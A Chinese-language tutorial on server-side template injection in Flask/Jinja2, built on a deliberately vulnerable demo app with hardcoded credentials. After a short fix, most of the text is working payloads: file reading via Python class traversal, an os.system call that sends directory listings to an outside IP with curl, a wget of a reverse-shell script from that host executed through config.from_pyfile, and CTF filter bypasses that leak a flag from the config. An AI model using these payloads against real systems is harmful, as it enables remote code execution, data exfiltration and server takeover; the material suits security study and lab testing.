今天學習了python的模板注入,這里自己搭建環境測試以下,參考文章:http://www.freebuf.com/articles/web/136118.html
web 程序包括兩個文件:
flask-test.py 和 Config.py 文件
#!/usr/bin/env python # -*- coding:utf8 -*- import hashlib import logging from datetime import timedelta from flask import Flask from flask import request from flask import config from flask import session from flask import render_template_string from Config import ProductionConfig app = Flask(__name__) handler = logging.StreamHandler() logging_format = logging.Formatter( '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s') handler.setFormatter(logging_format) app.logger.addHandler(handler) app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7" app.config.from_object(ProductionConfig) #將配置類中的配置導入程序 app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期 page_size = 60 app.config['UPLOAD_DIR'] = '/var/www/html/upload' app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update' app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download' @app.route('/') def hello_world(): return 'Hello World!' @app.errorhandler(404) def page_not_found(e): template = ''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404 if __name__ == '__main__': app.run()
Config.py #!/usr/bin/env python # -*- coding: UTF-8 -*- class Config(object): ACCOUNT = 'vpgame' PASSWORD = 'win666666' class DevlopmentConfig(Config): pass class TestingConfig(Config): pass class ProductionConfig(Config): HOST = '127.0.0.1' PORT = 65521 DBUSERNAME = 'vpgame' DBPASSWORD = 'win666666' DBNAME = 'vpgame'
kali上搭建有漏洞的flask web服務
注:以上代碼存在ssti漏洞點在於render_template_string函數在渲染模板的時候使用了%s來動態的替換字符串,我們知道Flask 中使用了Jinja2 作為模板渲染引擎,{{}}在Jinja2中作為變量包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當做變量解析替換。
解決方法:
將template 中的 ”’<h3> %s!</h3>”’ % request.url 更改為 ”’<h3>{{request.url}}</h3>”’ ,這樣以來,Jinja2在模板渲染的時候將request.url的值替換掉{{request.url}}, 而不會對request.url內容進行二次渲染(這樣即使request.url中含有{{}}也不會進行渲染,而只是把它當做普通字符串)
下面來利用這個漏洞搞點事情:
1.SSTI 利用之任意文件讀取
關於類對象
instance.__class__ 可以獲取當前實例的類對象
我們知道python中新式類(也就是顯示繼承object對象的類)都有一個屬性__class__可以獲取到當前實例對應的類,隨便選擇一個簡單的新
式類實例,比如”,一個空字符串,就是一個新式類實例,所以”.__class__ 就可以獲取到實例對應的類(也就是<type ‘str’>)
類對象中的屬性__mro__
class.__mro__ 獲取當前類對象的所有繼承類'
python中類對象有一個屬性__mro__, 這個屬性返回一個tuple對象,這個對象包含了當前類對象所有繼承的基類,tuple中元素的順序就是MRO(Method Resolution Order) 尋找的順序
從結果中可以發現”對應的類對象str繼承的順序是basestring->object
類對象中的方法__subclasses__()
每一個新式類都保留了它所有的子類的引用,__subclasses__()這個方法返回了類的所有存活的子類的引用(注意是類對象引用,不是實例)
我們知道python中的類都是繼承object的,所以只要調用object類對象的__subclasses__()方法就可以獲取我們想要的類的對象,比如用於讀取文件的file對象
通過以上的python代碼就能夠找到有讀文件功能的類(可以加上大小寫)
這里找到了file對象來進行文件的讀取
這里成功利用file對象的匿名實例化,並為其傳參要讀取的文件名,通過調用其讀文件函數read就可以對文件進行讀取了。
2.SSTI 利用之命令執行
我們還可以在object的所有子類中找可以引入了os模塊的類,並以此來執行命令
由於執行命令最終的結果無法回顯到瀏覽器端,因此我們把結果發送到vps上,比如我們想執行ls命令,查看當前路徑的文件,那么
所以我們使用payload
http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}
這里使用了linux的管道命令,首先把ls的結果寫入到tt.txt中,然后把里面的每一個文件名作為參數分別向自己的vps發送請求,所以最終只需要查看自己的vps的訪問日志,就可以查看到目標路徑下的所有文件名
這里用到了xargs來傳遞管道參數,xargs的一個選項-I,使用-I指定一個替換字符串{},這個字符串在xargs擴展時會被替換掉,當-I與xargs結合使用,每一個參數命令都會被執行一次(注:xargs的詳細用法見http://man.linuxde.net/xargs)
利用同樣的方法,我們也可以繼續查看其他命令的執行結果
3.SSTI 利用之遠程代碼執行
如果不能利用os模塊在服務器端執行命令,那么還可以利用susprocess模塊來執命令,比如利用subprocess的check_output函數
在代碼中因為使用了flask.config它是一個類似字典的對象,包含了應用程序所有的配置文件信息(你所有的用app.config.xxx | app.config['xxx'] 配置信息 都在config這個上下文對象中),在很多的例子中,這個config對象包含了很多敏感的信息,比如數據庫連接信息,連接第三方服務的SECRET_KEY等
、
使用config.items()就能夠獲得所有的配置信息
而config.from_object(args)能將其參數所指模塊中的大寫屬性加入config對象實例中,通過執行{{config.from_object('os')}} ,{{config.items()}},就能看到
在這里我們先把想要調用的命令執行函數作為配置信息,寫入一個py文件中
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D
文件寫入完成,然后通過config.from_pyfile函數來導入指定py文件中的大寫屬性加入到config這個上下文對象中(這就是為什么用RUNCMD了,大寫)
此時check_output函數已經導入,也就是可以執行命令的函數已經導入到了config變量中。
此時遠程下載反彈shell的腳本
http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D
此時已經在目標服務器上下載了reverse的py腳本,接下來只需要使其執行即可得到shell
http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D
首先在自己的vps上用nc監聽21192端口,然后通過config.from_pyfile來導入反彈shell的腳本,python在導入模塊的同時也會執行腳本中部分代碼(class 和方法的定義不會執行),利用這一點,就可以執行反彈shell 了
此時已經拿到了目標機器的shell
jinja2 ssti bypass:
https://0day.work/jinja2-template-injection-filter-bypasses/
利用繼承連來泄露信息
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
如果能用config,則可以通過config來泄露flag,因為config作為flask的一個全局變量存儲着flask應用的信息
如果能用self的話,則可以通過self.__dict__來泄露flag
如果沒有過濾(),則可以通過通過__subclasses__()結合基類找到os模塊來泄露flag,類似
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG'] ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__'.("os").__dict__.environ['FLAG'] ## 作者給的; <type 'dict_keys'> 里本身就有 OS [].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
因為這里過濾了config,self和self,所以要訪問到config,所以首先得找到全局變量current_app
__globals__['current_app'].config['FLAG'] top.app.config['FLAG']
可以通過以上兩種形式來找flag
比如url_for和get_flashed_messages的__globals__中均含有current_app,那么獲得current_app以后就可以直接訪問config
用類似x.__globals__跑一遍可以用的變量如下
比如通過url_for.__globals__['current_app'].config
或者通過get_flashed_messages.__globals__['current_app'].config